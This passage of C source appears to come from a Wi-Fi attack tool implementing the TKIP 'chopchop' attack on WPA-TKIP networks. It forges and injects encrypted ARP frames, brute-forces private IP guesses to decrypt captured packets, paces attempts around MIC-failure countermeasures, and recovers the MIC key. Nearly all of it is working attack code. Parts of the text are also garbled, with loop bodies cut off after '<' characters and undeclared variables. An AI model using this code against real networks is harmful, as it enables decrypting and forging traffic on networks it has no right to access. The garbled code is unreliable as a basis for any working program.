0x08; // IP buf[11] = 0x00; buf[12] = 0x06; //hardware size buf[13] = 0x04; //protocol size buf[14] = 0x00; if(memcmp(dmac, BROADCAST, 6) == 0) buf[15] = 0x01; //request else buf[15] = 0x02; //reply memcpy(buf+16, smac, 6); return 0; } int build_arp_request(unsigned char* packet, int *length, int toDS) { int i; unsigned char buf[128]; packet[0] = 0x88; //QoS Data if(toDS) packet[1] = 0x41; //encrypted to/fromDS else packet[1] = 0x42; packet[2] = 0x2c; packet[3] = 0x00; if(toDS) { memcpy(packet+4, opt.f_bssid, 6); memcpy(packet+10, opt.r_smac, 6); memcpy(packet+16, opt.r_apmac, 6); } else { memcpy(packet+4, opt.r_smac, 6); memcpy(packet+10, opt.f_bssid, 6); memcpy(packet+16, opt.r_apmac, 6); } packet[22] = 0xD0; //fragment 0 packet[23] = 0xB4; if(toDS) packet[24] = 0x01; //priority 1 else packet[24] = 0x02; //priority 2 packet[25] = 0x00; if(toDS) set_clear_arp(packet+26, opt.r_smac, BROADCAST); else set_clear_arp(packet+26, opt.r_apmac, BROADCAST); if(toDS) memcpy(packet+26+22, opt.ip_cli, 4); else memcpy(packet+26+22, opt.ip_ap, 4); if(toDS) memcpy(packet+26+26, BROADCAST, 6); else memcpy(packet+26+26, BROADCAST, 6); if(toDS) memcpy(packet+26+32, opt.ip_ap, 4); else memcpy(packet+26+32, opt.ip_cli, 4); *length = 26+36; calc_tkip_mic(packet, *length, opt.ptk, packet+(*length)); *length += 8; memcpy(buf, packet+26, (*length) - 26); memcpy(packet+26+8, buf, (*length) - 26); if(toDS) memcpy(packet+26, opt.chopped_to_prga, 8); //set IV&extIV for a toDS frame else memcpy(packet+26, opt.chopped_from_prga, 8); //set IV&extIV for a fromDS frame (*length)+=8; add_icv(packet, *length, 26+8); (*length) += 4; if(toDS) { if(opt.chopped_to_prga_len-8 < *length - 26-8) return 1; for(i=0; i<*length-26-8; i++) packet[26+8+i] ^= opt.chopped_to_prga[8+i]; } else { if(opt.chopped_from_prga_len-8 < *length - 26-8) return 1; for(i=0; i<*length-26-8; i++) packet[26+8+i] ^= opt.chopped_from_prga[8+i]; } return 0; } int set_clear_ip(unsigned char *buf, int ip_len) //set first 9 bytes { if(buf == NULL) return -1; memcpy(buf, S_LLC_SNAP_IP, 8); buf[8] = 0x45; buf[10] = (ip_len >> 8) & 0xFF; buf[11] = ip_len & 0xFF; return 0; } void dump_packet(unsigned char* packet, int len) { int i=0; for(i=0; i0 && i%4 == 0)printf(" "); if(i>0 && i%16 == 0)printf("\n"); printf("%02X ", packet[i]); } printf("\n\n"); } int check_guess(unsigned char *srcbuf, unsigned char *chopped, int caplen, int clearlen, unsigned char *arp, unsigned char *dmac) { int i, j, z, pos; z = ( ( srcbuf[1] & 3 ) != 3 ) ? 24 : 30; if ( ( srcbuf[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; // if(arp[22] == 192 && arp[23] == 168 && arp[24] == 178 && arp[25] == 1) // { // printf("Source: %i.%i.%i.%i; Dest: %i.%i.%i.%i\n", // arp[22], arp[23], arp[24], arp[25], arp[32], arp[33], arp[34], arp[35] ); // } pos = caplen-z-8-clearlen; for(i=0; i 36) //too many unknown bytes return 1; printf("%i bytes still unknown\n", caplen-z-8 - clearlen); switch( srcbuf[1] & 3 ) { case 0: memcpy( bssid, srcbuf + 16, 6 ); memcpy( dmac, srcbuf + 4, 6 ); memcpy( smac, srcbuf + 10, 6 ); break; case 1: memcpy( bssid, srcbuf + 4, 6 ); memcpy( dmac, srcbuf + 16, 6 ); memcpy( smac, srcbuf + 10, 6 ); break; case 2: memcpy( bssid, srcbuf + 10, 6 ); memcpy( dmac, srcbuf + 4, 6 ); memcpy( smac, srcbuf + 16, 6 ); break; default: memcpy( bssid, srcbuf + 10, 6 ); memcpy( dmac, srcbuf + 16, 6 ); memcpy( smac, srcbuf + 24, 6 ); break; } ptr = arp; psmac = arp+16; pdmac = arp+26; psip = arp+22; pdip = arp+32; len = sizeof(S_LLC_SNAP_ARP) - 1; memcpy(ptr, S_LLC_SNAP_ARP, len); ptr += len; /* arp hdr */ len = 6; memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len); ptr += len; /* type of arp */ len = 2; if (memcmp(dmac, "\xff\xff\xff\xff\xff\xff", 6) == 0) memcpy(ptr, "\x00\x01", len); else memcpy(ptr, "\x00\x02", len); ptr += len; /* src mac */ len = 6; memcpy(ptr, smac, len); ptr += len; /* dmac */ if (memcmp(dmac, "\xff\xff\xff\xff\xff\xff", 6) != 0) { printf("ARP Reply\n"); memcpy(pdmac, dmac, 6); } else { printf("ARP Request\n"); memcpy(pdmac, ZERO, 6); } if(caplen-z-8 - clearlen == 36) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ for(i=0; i<256; i++) { for(j=1; j<255; j++) { for(k=1; k<255; k++) { psip[0] = 192; psip[1] = 168; psip[2] = i; psip[3] = j; pdip[0] = 192; pdip[1] = 168; pdip[2] = i; pdip[3] = k; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } printf("Checking 10.0.y.z\n"); /* check 10.i.j.1-254 */ for(j=0; j<256; j++) { for(k=1; k<255; k++) { for(l=1; l<255; l++) { psip[0] = 10; psip[1] = 0; psip[2] = j; psip[3] = k; pdip[0] = 10; pdip[1] = 0; pdip[2] = j; pdip[3] = l; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } printf("Checking 172.16.y.z\n"); /* check 172.16-31.j.1-254 */ for(j=1; j<255; j++) { for(k=1; k<255; k++) { for(l=1; l<255; l++) { psip[0] = 172; psip[1] = 16; psip[2] = j; psip[3] = k; pdip[0] = 172; pdip[1] = 16; pdip[2] = j; pdip[3] = l; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } } if(caplen-z-8 - clearlen == 35) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ for(i=0; i<256; i++) { for(j=1; j<255; j++) { psip[0] = 192; psip[1] = 168; psip[2] = i; psip[3] = j; pdip[0] = 192; pdip[1] = 168; pdip[2] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } printf("Checking 10.0.y.z\n"); /* check 10.i.j.1-254 */ for(i=0; i<256; i++) { for(j=0; j<256; j++) { for(k=1; k<255; k++) { psip[0] = 10; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 10; pdip[1] = i; pdip[2] = j; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ for(i=16; i<32; i++) { for(j=0; j<256; j++) { for(k=1; k<255; k++) { psip[0] = 172; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 172; pdip[1] = i; pdip[2] = j; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } } if(caplen-z-8 - clearlen == 34) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ for(i=0; i<256; i++) { for(j=1; j<255; j++) { psip[0] = 192; psip[1] = 168; psip[2] = i; psip[3] = j; pdip[0] = 192; pdip[1] = 168; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } printf("Checking 10.x.y.z\n"); /* check 10.i.j.1-254 */ for(i=0; i<256; i++) { for(j=0; j<256; j++) { for(k=1; k<255; k++) { psip[0] = 10; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 10; pdip[1] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ for(i=16; i<32; i++) { for(j=0; j<256; j++) { for(k=1; k<255; k++) { psip[0] = 172; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 172; pdip[1] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } } if(caplen-z-8 - clearlen <= 33 && caplen-z-8 - clearlen >= 26) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ if( (srcbuf[z+8+33]^chopped[z+8+33]) == 168) { for(i=0; i<256; i++) { for(j=1; j<255; j++) { psip[0] = 192; psip[1] = 168; psip[2] = i; psip[3] = j; pdip[0] = 192; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } if( (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32) { printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ for(i=16; i<32; i++) { for(j=0; j<256; j++) { for(k=1; k<255; k++) { psip[0] = 172; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 172; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } } printf("Checking 10.x.y.z\n"); /* check 10.i.j.1-254 */ for(i=0; i<256; i++) { for(j=0; j<256; j++) { for(k=1; k<255; k++) { psip[0] = 10; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 10; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } } if(caplen-z-8 - clearlen == 25) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ if( (srcbuf[z+8+32]^chopped[z+8+32]) == 192 && (srcbuf[z+8+33]^chopped[z+8+33]) == 168) { for(i=0; i<256; i++) { psip[0] = 192; psip[1] = 168; psip[2] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } if( (srcbuf[z+8+32]^chopped[z+8+32]) == 172 && (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32) { printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ for(i=16; i<32; i++) { for(j=0; j<256; j++) { psip[0] = 172; psip[1] = i; psip[2] = j; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } printf("Checking 10.x.y.z\n"); /* check 10.i.j.1-254 */ for(i=0; i<256; i++) { for(j=0; j<256; j++) { psip[0] = 10; psip[1] = i; psip[2] = j; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } if(caplen-z-8 - clearlen == 24) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ if( (srcbuf[z+8+32]^chopped[z+8+32]) == 192 && (srcbuf[z+8+33]^chopped[z+8+33]) == 168) { psip[0] = 192; psip[1] = 168; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } if( (srcbuf[z+8+32]^chopped[z+8+32]) == 172 && (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32) { printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ for(i=16; i<32; i++) { psip[0] = 172; psip[1] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } printf("Checking 10.x.y.z\n"); /* check 10.i.j.1-254 */ for(i=0; i<256; i++) { psip[0] = 10; psip[1] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } if(caplen-z-8 - clearlen <= 23) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ if( (srcbuf[z+8+32]^chopped[z+8+32]) == 192 && (srcbuf[z+8+33]^chopped[z+8+33]) == 168) { psip[0] = 192; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } if( (srcbuf[z+8+32]^chopped[z+8+32]) == 172 && (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32) { printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ psip[0] = 172; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } printf("Checking 10.x.y.z\n"); /* check 10.i.j.1-254 */ psip[0] = 10; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } if(caplen-z-8 - clearlen <= 32) { for(i=0; i<256; i++) { for(j=1; j<255; j++) { psip[0] = srcbuf[z+8+32]^chopped[z+8+32]; psip[1] = srcbuf[z+8+33]^chopped[z+8+33]; psip[2] = i; psip[3] = j; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } return 1; } int do_attack_tkipchop( unsigned char* src_packet, int src_packet_len ) { float f, ticks[4]; int i, j, n, z, caplen, srcz, srclen; int data_start, data_end, srcdiff, diff; int guess, is_deauth_mode; int nb_bad_pkt; int tried_header_rec=0; int tries=0; int keystream_len=0; int settle=0; unsigned char b1 = 0xAA; unsigned char b2 = 0xAA; unsigned char mic[8]; unsigned char smac[6], dmac[6], bssid[6]; unsigned char rc4key[16], keystream[4096]; FILE *f_cap_out; long nb_pkt_read; unsigned long crc_mask; unsigned char *chopped; unsigned char packet[4096]; time_t tt; struct tm *lt; struct timeval tv; struct timeval tv2; struct timeval mic_fail; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; srand( time( NULL ) ); memcpy( h80211, src_packet, src_packet_len); caplen = src_packet_len; if( (h80211[1] & 3) == 1) { h80211[1] += 1; memcpy( bssid, srcbuf + 4, 6 ); memcpy( dmac, srcbuf + 16, 6 ); memcpy( smac, srcbuf + 10, 6 ); memcpy( srcbuf + 10, bssid, 6 ); memcpy( srcbuf + 4, dmac, 6 ); memcpy( srcbuf + 16, smac, 6 ); // memcpy(h80211+16, BROADCAST, 6); } z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; srcz = z; if( (unsigned)caplen > sizeof(srcbuf) || (unsigned)caplen > sizeof(h80211) ) return( 1 ); // if( opt.r_smac_set == 1 ) // { // //handle picky APs (send one valid packet before all the invalid ones) // memset(packet, 0, sizeof(packet)); // // memcpy( packet, NULL_DATA, 24 ); // memcpy( packet + 4, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); // memcpy( packet + 10, opt.r_smac, 6 ); // memcpy( packet + 16, opt.f_bssid, 6 ); // // packet[0] = 0x08; //make it a data packet // packet[1] = 0x41; //set encryption and ToDS=1 // // memcpy( packet+24, h80211+z, caplen-z); // // if( send_packet( packet, caplen-z+24 ) != 0 ) // return( 1 ); // //done sending a correct packet // } /* Special handling for spanning-tree packets */ if ( memcmp( h80211 + 4, SPANTREE, 6 ) == 0 || memcmp( h80211 + 16, SPANTREE, 6 ) == 0 ) { b1 = 0x42; b2 = 0x42; } printf( "\n" ); /* chopchop operation mode: truncate and decrypt the packet */ /* we assume the plaintext starts with AA AA 03 00 00 00 */ /* (42 42 03 00 00 00 for spanning-tree packets) */ memcpy( srcbuf, h80211, caplen ); /* debug: generate the keystream */ if(opt.got_ptk) { calc_tkip_ppk( srcbuf, caplen, opt.wpa_sta.ptk+32, rc4key ); PCT; printf("Per Packet Key: "); for(i=0; i<15; i++) printf("%02X:", rc4key[i]); printf("%02X\n", rc4key[15]); memset(keystream, 0, 4096); keystream_len = caplen - z - 8; encrypt_wep(keystream, keystream_len, rc4key, 16); PCT; printf("Keystream length: %i, Keystream:\n", keystream_len); for(i=0; i> 8 ) ^ ( chopped[i] << 24 ); } for( i = 0; i < 4; i++ ) crc_mask = crc_tbl[crc_mask & 0xFF] ^ ( crc_mask >> 8 ); chopped[data_end - 4] = crc_mask; crc_mask >>= 8; chopped[data_end - 3] = crc_mask; crc_mask >>= 8; chopped[data_end - 2] = crc_mask; crc_mask >>= 8; chopped[data_end - 1] = crc_mask; crc_mask >>= 8; for( i = data_start; i < data_end; i++ ) chopped[i] ^= srcbuf[i]; // chopped[i] ^= srcbuf[i+srcdiff]; data_start += 6; /* skip the SNAP header */ is_deauth_mode = 0; // opt.r_dmac[0] = 0xFF; // opt.r_dmac[1] = rand() & 0xFE; // opt.r_dmac[2] = rand() & 0xFF; // opt.r_dmac[3] = rand() & 0xFF; // opt.r_dmac[4] = rand() & 0xFF; /* chop down old/known keystreambytes */ for(i=0; i data_start ) { if( alarmed ) { printf( "\n\n" "The chopchop attack appears to have failed. Possible reasons:\n" "\n" " * You're trying to inject with an unsupported chipset (Centrino?).\n" " * The driver source wasn't properly patched for injection support.\n" " * You are too far from the AP. Get closer or reduce the send rate.\n" " * Target is 802.11g only but you are using a Prism2 or RTL8180.\n" " * The wireless interface isn't setup on the correct channel.\n" ); if( is_deauth_mode ) printf( " * The AP isn't vulnerable when operating in non-authenticated mode.\n" " Run aireplay-ng in authenticated mode instead (-h option).\n\n" ); else printf( " * The client MAC you have specified is not currently authenticated.\n" " Try running another aireplay-ng to fake authentication (attack \"-1\").\n" " * The AP isn't vulnerable when operating in authenticated mode.\n" " Try aireplay-ng in non-authenticated mode instead (no -h option).\n\n" ); return( 1 ); } /* wait for the next timer interrupt, or sleep */ if( (nb_pkt_sent > 0) && (nb_pkt_sent % 256 == 0) && settle == 0) { printf( "\rLooks like mic failure report was not detected." "Waiting %i seconds before trying again to avoid " "the AP shutting down.\n", opt.mic_failure_interval); fflush( stdout ); settle = 1; sleep(opt.mic_failure_interval); } if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "\nread(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; /* ticks since we entered the while loop */ ticks[1]++; /* ticks since the last status line update */ ticks[2]++; /* ticks since the last frame was sent */ ticks[3]++; /* ticks since started chopping current byte */ } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 976 ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / 976; ticks[1] += f / 976; ticks[2] += f / 976; ticks[3] += f / 976; } /* update the status line */ if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rSent %3ld packets, current guess: %02X...\33[K", nb_pkt_sent, guess ); fflush( stdout ); } /* if( data_end < 47 && ticks[3] > 8 * ( ticks[0] - ticks[3] ) / (int) ( caplen - ( data_end - 1 ) ) )*/ if( data_end < 47 && tries > 512) { header_rec: printf( "\n\nThe AP appears to drop packets shorter " "than %d bytes.\n",data_end ); data_end = 46; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; diff = z-24; if( ( chopped[data_end + 0] ^ srcbuf[data_end + 0] ) == 0x06 && ( chopped[data_end + 1] ^ srcbuf[data_end + 1] ) == 0x04 && ( chopped[data_end + 2] ^ srcbuf[data_end + 2] ) == 0x00 ) { printf( "Enabling standard workaround: " "ARP header re-creation.\n" ); chopped[26 + 8 + 6] = srcbuf[26 + 8 + 6] ^ 0x08; chopped[26 + 8 + 7] = srcbuf[26 + 8 + 7] ^ 0x06; chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ 0x00; chopped[26 + 8 + 9] = srcbuf[26 + 8 + 9] ^ 0x01; chopped[26 + 8 + 10] = srcbuf[26 + 8 + 10] ^ 0x08; chopped[26 + 8 + 11] = srcbuf[26 + 8 + 11] ^ 0x00; } else { printf( "Enabling standard workaround: " " IP header re-creation.\n" ); n = caplen - ( z + 16 ); chopped[26 + 8 + 0] = srcbuf[26 + 8 + 0] ^ 0xAA; chopped[26 + 8 + 1] = srcbuf[26 + 8 + 1] ^ 0xAA; chopped[26 + 8 + 2] = srcbuf[26 + 8 + 2] ^ 0x03; chopped[26 + 8 + 3] = srcbuf[26 + 8 + 3] ^ 0x00; chopped[26 + 8 + 4] = srcbuf[26 + 8 + 4] ^ 0x00; chopped[26 + 8 + 5] = srcbuf[26 + 8 + 5] ^ 0x00; chopped[26 + 8 + 6] = srcbuf[26 + 8 + 6] ^ 0x08; chopped[26 + 8 + 7] = srcbuf[26 + 8 + 7] ^ 0x00; chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ ( n >> 8 ); chopped[26 + 8 + 9] = srcbuf[26 + 8 + 9] ^ ( n & 0xFF ); memcpy( h80211, srcbuf, caplen ); for( i = 26 + 8; i < (int) caplen; i++ ) h80211[i - 8] = h80211[i] ^ chopped[i]; /* sometimes the header length or the tos field vary */ for( i = 0; i < 16; i++ ) { h80211[26 + 8] = 0x40 + i; chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ ( 0x40 + i ); for( j = 0; j < 256; j++ ) { h80211[26 + 9] = j; chopped[26 + 13] = srcbuf[26 + 8 + 9] ^ j; if( check_crc_buf( h80211 + 26, caplen - 26 - 8 - 4 ) ) goto have_crc_match; } } printf( "This doesn't look like an IP packet, " "try another one.\n" ); } have_crc_match: break; } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) { /* send one modified frame */ ticks[2] = 0; memcpy( h80211, chopped, data_end - 1 ); /* note: guess 256 is special, it tests if the * * AP properly drops frames with an invalid ICV * * so this guess always has its bit 8 set to 0 */ if( is_deauth_mode ) { opt.r_smac[1] |= ( guess < 256 ); opt.r_smac[5] = guess & 0xFF; } else { opt.r_dmac[1] |= ( guess < 256 ); opt.r_dmac[5] = guess & 0xFF; } // memcpy( h80211 + 10, opt.r_smac, 6 ); // memcpy( h80211 + 16, opt.r_dmac, 6 ); if( guess < 256 ) { h80211[data_end - 2] ^= crc_chop_tbl[guess][3]; h80211[data_end - 3] ^= crc_chop_tbl[guess][2]; h80211[data_end - 4] ^= crc_chop_tbl[guess][1]; h80211[data_end - 5] ^= crc_chop_tbl[guess][0]; } errno = 0; if( send_packet( h80211, data_end -1 ) != 0 ) { free(chopped); return( 1 ); } if( errno != EAGAIN ) { guess++; if( guess > 256 ) guess = 0; else tries++; settle=0; } if(tries > 768 && data_end < srclen) { //go back one step and validate the last chopped byte tries = 0; data_end++; guess = chopped[data_end - 1] ^ srcbuf[data_end - 1]; chopped[data_end - 1] ^= guess; chopped[data_end - 2] ^= crc_chop_tbl[guess][3]; chopped[data_end - 3] ^= crc_chop_tbl[guess][2]; chopped[data_end - 4] ^= crc_chop_tbl[guess][1]; chopped[data_end - 5] ^= crc_chop_tbl[guess][0]; ticks[3] = 0; nb_pkt_sent = 0; nb_bad_pkt = 0; guess = 256; PCT; printf("\nMoved one step backwards to chop the last byte again.\n"); continue; } } /* watch for a response from the AP */ n = read_packet( h80211, sizeof( h80211 ), NULL ); if( n < 0 ){ free(chopped); return( 1 ); } if( n == 0 ) continue; nb_pkt_read++; /* check if it's a deauth packet */ if( h80211[0] == 0xA0 || h80211[0] == 0xC0 ) { if( memcmp( h80211 + 4, opt.r_smac, 6 ) == 0 ) { nb_bad_pkt++; if( nb_bad_pkt > 2 ) { printf( "\n\nFailure: got several deauthentication packets " "from the AP - you need to start the whole process " "all over again, as the client got disconnected.\n\n" ); free(chopped); return( 1 ); } continue; } if( h80211[4] != opt.r_smac[0] ) continue; if( h80211[6] != opt.r_smac[2] ) continue; if( h80211[7] != opt.r_smac[3] ) continue; if( h80211[8] != opt.r_smac[4] ) continue; // if( ( h80211[5] & 0xFE ) != // ( opt.r_smac[1] & 0xFE ) ) continue; /* if( ! ( h80211[5] & 1 ) ) {*/ if( data_end < 41 ) goto header_rec; printf( "\n\nFailure: the access point does not properly " "discard frames with an\ninvalid ICV - try running " "aireplay-ng in authenticated mode (-h) instead.\n\n" ); free(chopped); return( 1 ); // } } else { /* check if it's a WEP data packet */ if( ( h80211[0] & 0x0C ) != 8 ) continue; //must be a data packet if( ( h80211[0] & 0x70 ) != 0 ) continue; // if( ( h80211[1] & 0x03 ) != 2 ) continue; if( ( h80211[1] & 0x40 ) == 0 ) continue; /* get header length right */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; /* check the extended IV (TKIP) flag */ if( ( h80211[z + 3] & 0x20 ) == 0 ) continue; /* check length (153)!? */ if( z+127 != n ) continue; //(153[26+127] bytes for eapol mic failure in tkip qos frames from client to AP) // printf("yeah!\n"); //direction must be inverted. if( ((h80211[1] & 3) ^ (srcbuf[1] & 3)) != 0x03 ) continue; //check correct macs switch( h80211[1] & 3 ) { case 1: if( memcmp( bssid, h80211 + 4, 6 ) != 0 && memcmp( dmac , h80211 + 10, 6 ) != 0 && memcmp( bssid, h80211 + 16, 6 ) != 0) continue; break; case 2: if( memcmp( smac , h80211 + 4, 6 ) != 0 && memcmp( bssid, h80211 + 10, 6 ) != 0 && memcmp( bssid, h80211 + 16, 6 ) != 0) continue; break; default: continue; break; } /* if( h80211[4] != opt.r_dmac[0] ) continue; if( h80211[6] != opt.r_dmac[2] ) continue; if( h80211[7] != opt.r_dmac[3] ) continue; if( h80211[8] != opt.r_dmac[4] ) continue; if( ( h80211[5] & 0xFE ) != ( opt.r_dmac[1] & 0xFE ) ) continue; if( ! ( h80211[5] & 1 ) ) { if( data_end < 41 ) goto header_rec; printf( "\n\nFailure: the access point does not properly " "discard frames with an\ninvalid ICV - try running " "aireplay-ng in non-authenticated mode instead.\n\n" ); return( 1 ); }*/ if(nb_pkt_sent < 1) continue; } /* we have a winner */ // guess = h80211[9]; tries = 0; settle = 0; guess = (guess - 1) % 256; chopped[data_end - 1] ^= guess; chopped[data_end - 2] ^= crc_chop_tbl[guess][3]; chopped[data_end - 3] ^= crc_chop_tbl[guess][2]; chopped[data_end - 4] ^= crc_chop_tbl[guess][1]; chopped[data_end - 5] ^= crc_chop_tbl[guess][0]; n = caplen - data_start; printf( "\r"); PCT; printf("Offset %4d (%2d%% done) | xor = %02X | pt = %02X | " "%4ld frames written in %5.0fms\n", data_end - 1, 100 * ( caplen - data_end ) / n, chopped[data_end - 1], chopped[data_end - 1] ^ srcbuf[data_end - 1], nb_pkt_sent, ticks[3] ); if( is_deauth_mode ) { opt.r_smac[1] = rand() & 0x3E; opt.r_smac[2] = rand() & 0xFF; opt.r_smac[3] = rand() & 0xFF; opt.r_smac[4] = rand() & 0xFF; } else { opt.r_dmac[1] = rand() & 0xFE; opt.r_dmac[2] = rand() & 0xFF; opt.r_dmac[3] = rand() & 0xFF; opt.r_dmac[4] = rand() & 0xFF; } ticks[3] = 0; nb_pkt_sent = 0; nb_bad_pkt = 0; guess = 256; data_end--; gettimeofday(&opt.last_mic_failure, NULL); PCT; printf("\rSleeping for %i seconds.", opt.mic_failure_interval); fflush(stdout); if( guess_packet(srcbuf, chopped, caplen, caplen-data_end) == 0) //found correct packet :) break; while(1) { gettimeofday(&mic_fail, NULL); if( (mic_fail.tv_sec - opt.last_mic_failure.tv_sec) * 1000000 + (mic_fail.tv_usec - opt.last_mic_failure.tv_usec) > opt.mic_failure_interval * 1000000) break; sleep(1); } alarm( 0 ); } /* reveal the plaintext (chopped contains the prga) */ memcpy( h80211, srcbuf, caplen ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; diff = z-24; chopped[26 + 8 + 0] = srcbuf[26 + 8 + 0] ^ b1; chopped[26 + 8 + 1] = srcbuf[26 + 8 + 1] ^ b2; chopped[26 + 8 + 2] = srcbuf[26 + 8 + 2] ^ 0x03; chopped[26 + 8 + 3] = srcbuf[26 + 8 + 3] ^ 0x00; chopped[26 + 8 + 4] = srcbuf[26 + 8 + 4] ^ 0x00; chopped[26 + 8 + 5] = srcbuf[26 + 8 + 5] ^ 0x00; for( i = 26 + 8; i < (int) caplen; i++ ) h80211[i - 8] = h80211[i] ^ chopped[i]; if( ! check_crc_buf( h80211 + 26, caplen - 26 - 8 - 4 ) ) { if (!tried_header_rec) { printf( "\nWarning: ICV checksum verification FAILED! Trying workaround.\n" ); tried_header_rec=1; goto header_rec; } else { printf( "\nWorkaround couldn't fix ICV checksum.\nPacket is most likely invalid/useless\nTry another one.\n" ); } } caplen -= 8 + 4; /* remove the TKIP EXT IV & CRC (ICV) */ if(opt.got_ptk) { PCT; printf("Priority: %02X:%02X\n", h80211[z-2], h80211[z-1]); calc_tkip_mic(h80211, caplen-8, opt.wpa_sta.ptk, mic); if( memcmp(mic, h80211+caplen-8, 8) == 0) { PCT; printf("Correct MIC!\n"); } else { PCT; printf("Incorrect MIC!\n"); } PCT; printf("Captured MIC: "); for(i=0; i<7; i++) printf("%02X:", h80211[caplen-8+i]); printf("%02X\n", h80211[caplen-1]); PCT; printf("Calculated MIC: "); for(i=0; i<7; i++) printf("%02X:", mic[i]); printf("%02X\n", mic[7]); } calc_tkip_mic_key(h80211, caplen, mic); h80211[1] &= 0xBF; /* remove the WEP bit, too */ if((h80211[1] & 3) == 1) { PCT; printf("Reversed MIC Key (ToDS): "); for(i=0; i<7; i++) printf("%02X:", mic[i]); printf("%02X\n", mic[7]); memcpy(opt.ptk+48+8, mic, 8); opt.got_mic_tods=1; opt.chopped_to_plain = (unsigned char*) malloc( caplen ); memcpy(opt.chopped_to_plain, h80211, caplen); opt.chopped_to_plain_len = caplen; opt.chopped_to_prga = (unsigned char*) malloc( caplen - 26 + 4 + 8 ); memcpy(opt.chopped_to_prga, chopped+26, caplen-26+4+8); opt.chopped_to_prga_len = caplen-26+4+8; } if((h80211[1] & 3) == 2) { PCT; printf("Reversed MIC Key (FromDS): "); for(i=0; i<7; i++) printf("%02X:", mic[i]); printf("%02X\n", mic[7]); memcpy(opt.ptk+48, mic, 8); opt.got_mic_fromds=1; 